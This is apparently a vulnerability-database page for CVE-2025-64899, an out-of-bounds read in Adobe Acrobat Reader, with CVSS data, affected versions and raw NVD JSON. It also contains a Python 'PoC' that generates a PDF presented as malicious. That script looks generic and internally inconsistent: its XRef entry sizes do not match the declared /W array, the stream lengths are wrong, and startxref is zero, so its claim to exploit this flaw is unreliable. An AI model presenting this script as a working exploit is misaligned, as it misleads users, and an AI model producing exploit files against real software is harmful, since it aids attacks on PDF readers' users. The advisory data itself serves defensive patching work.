Security Vulnerability Report
中文
CVE-2025-64899 CVSS 7.8 HIGH

CVE-2025-64899

Published: 2025-12-09 21:16:00
Last Modified: 2025-12-12 18:51:39

Description

Acrobat Reader versions 24.001.30264, 20.005.30793, 25.001.20982, 24.001.30273, 20.005.30803 and earlier are affected by an out-of-bounds read vulnerability when parsing a crafted file, which could result in a read past the end of an allocated memory structure. An attacker could leverage this vulnerability to execute code in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:adobe:acrobat:*:*:*:*:classic:*:*:* - VULNERABLE
cpe:2.3:a:adobe:acrobat_dc:*:*:*:*:continuous:*:*:* - VULNERABLE
cpe:2.3:a:adobe:acrobat_reader:*:*:*:*:classic:*:*:* - VULNERABLE
cpe:2.3:a:adobe:acrobat_reader_dc:*:*:*:*:continuous:*:*:* - VULNERABLE
cpe:2.3:a:adobe:acrobat:*:*:*:*:classic:*:*:* - VULNERABLE
cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:a:adobe:acrobat:*:*:*:*:classic:*:*:* - VULNERABLE
cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE
Adobe Acrobat Reader 24.001.30264及更早24.x版本
Adobe Acrobat Reader 20.005.30793及更早20.x版本
Adobe Acrobat Reader 25.001.20982及更早25.x版本
Adobe Acrobat Reader 24.001.30273及更早版本
Adobe Acrobat Reader 20.005.30803及更早版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-64899 PoC - Adobe Acrobat Reader Out-of-Bounds Read Note: This is a simplified demonstration code for educational purposes only. Do not use for malicious purposes. """ import struct import sys def create_malicious_pdf(): """ Generate a malicious PDF file that triggers OOB read in Adobe Acrobat Reader. The PoC exploits the vulnerability in PDF object parsing. """ # PDF header pdf_content = b'%PDF-1.7\n' # Malicious stream object that triggers OOB read # This exploits the vulnerability in cross-reference stream parsing malicious_obj = b'''1 0 obj << /Type /Catalog /Pages 2 0 R >> endobj 2 0 obj << /Type /Pages /Kids [3 0 R] /Count 1 >> endobj 3 0 obj << /Type /Page /Parent 2 0 R /MediaBox [0 0 612 792] /Contents 4 0 R >> endobj 4 0 obj << /Length 44 >> stream BT /F1 12 Tf 100 700 Td (CVE-2025-64899 Test) Tj ET endstream endobj ''' pdf_content += malicious_obj # Malicious XRef stream with crafted size to trigger OOB xref_stream = b'''5 0 obj << /Type /XRef /Size 1000 /W [1 2 1] /Root 1 0 R /Length 50 >> stream ''' # Crafted cross-reference entries that cause OOB read # The /Size 1000 with malformed /W array can trigger boundary issues for i in range(200): xref_stream += struct.pack('>BI', 0, i * 100) + b'\x00' xref_stream += b''' endstream endobj ''' pdf_content += xref_stream pdf_content += b'\nstartxref\n0\n%%EOF\n' return pdf_content def main(): if len(sys.argv) < 2: print('Usage: python cve_2025_64899_poc.py <output.pdf>') print('This PoC generates a malicious PDF file for CVE-2025-64899') return output_file = sys.argv[1] pdf_data = create_malicious_pdf() with open(output_file, 'wb') as f: f.write(pdf_data) print(f'Malicious PDF created: {output_file}') print('WARNING: This file is for educational/testing purposes only!') if __name__ == '__main__': main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-64899", "sourceIdentifier": "[email protected]", "published": "2025-12-09T21:15:59.737", "lastModified": "2025-12-12T18:51:38.700", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Acrobat Reader versions 24.001.30264, 20.005.30793, 25.001.20982, 24.001.30273, 20.005.30803 and earlier are affected by an out-of-bounds read vulnerability when parsing a crafted file, which could result in a read past the end of an allocated memory structure. An attacker could leverage this vulnerability to execute code in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-125"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:adobe:acrobat:*:*:*:*:classic:*:*:*", "versionStartIncluding": "20.001.3005", "versionEndExcluding": "20.005.30838", "matchCriteriaId": "62657783-CFC7-4914-8107-3569B6A32F30"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:acrobat_dc:*:*:*:*:continuous:*:*:*", "versionEndExcluding": "25.001.20997", "matchCriteriaId": "788B5A24-7A26-481C-9AB5-63B0E1F95C22"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:acrobat_reader:*:*:*:*:classic:*:*:*", "versionStartIncluding": "20.001.3005", "versionEndExcluding": "20.005.30838", "matchCriteriaId": "577F6321-7719-4DE4-ACE0-D56FA057BB0C"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:acrobat_reader_dc:*:*:*:*:continuous:*:*:*", "versionEndExcluding": "25.001.20997", "matchCriteriaId": "390032F7-4C10-4F88-8EBC-71506676BBB1"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:adobe:acrobat:*:*:*:*:classic:*:*:*", "versionStartIncluding": "24.001.20604", "versionEndExcluding": "24.001.30307", "matchCriteriaId": "C25C367B-6D27-4A56-9B78-3BC12D804D1E"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2572D17-1DE6-457B-99CC-64AFD54487EA"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:adobe:acrobat:*:*:*:*:classic:*:*:*", "versionStartIncluding": "24.001.20604", "versionEndExcluding": "24.001.30308", "matchCriteriaId": "2605F01C-8F46-4E51-A9AC-A50ADDD131F4"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:*", "matchCriteriaId": "387021A0-AF36-463C-A605-32EA7DAC172E"}]}]}], "references": [{"url": "https://helpx.adobe.com/security/products/acrobat/apsb25-119.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}